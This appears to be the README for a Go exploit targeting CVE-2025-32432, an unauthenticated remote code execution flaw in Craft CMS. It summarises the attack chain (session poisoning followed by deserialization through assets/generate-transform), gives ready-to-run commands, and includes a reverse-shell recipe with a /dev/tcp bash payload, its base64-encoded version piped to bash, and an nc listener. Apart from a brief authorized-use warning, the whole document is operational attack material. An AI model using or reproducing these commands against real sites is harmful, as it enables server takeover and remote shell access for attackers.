CVE-2025-32432 — Craft CMS Pre-Auth RCE

Exploit for unauthenticated remote code execution in Craft CMS, written in Go.
Inspired by the original work of c0gnit00.

How it works

1. Gets the PHP session and CSRF token via GET /admin/login
2. Poisons the PHP session file by injecting PHP code into the query string
3. Triggers deserialization via assets/generate-transform to include and execute the poisoned file

Usage

go run main.go -u <url> -c <comando> 

Example

# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami

Reverse Shell

1. Generate the base64 payload with your IP and port:

echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64

2. Open the listener:

nc -lvnp 4444

3. Run the exploit with the payload:

go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"

Replace the base64 value with the one generated in step 1 using your real IP.

Warning

For exclusive use in authorized environments and controlled security testing.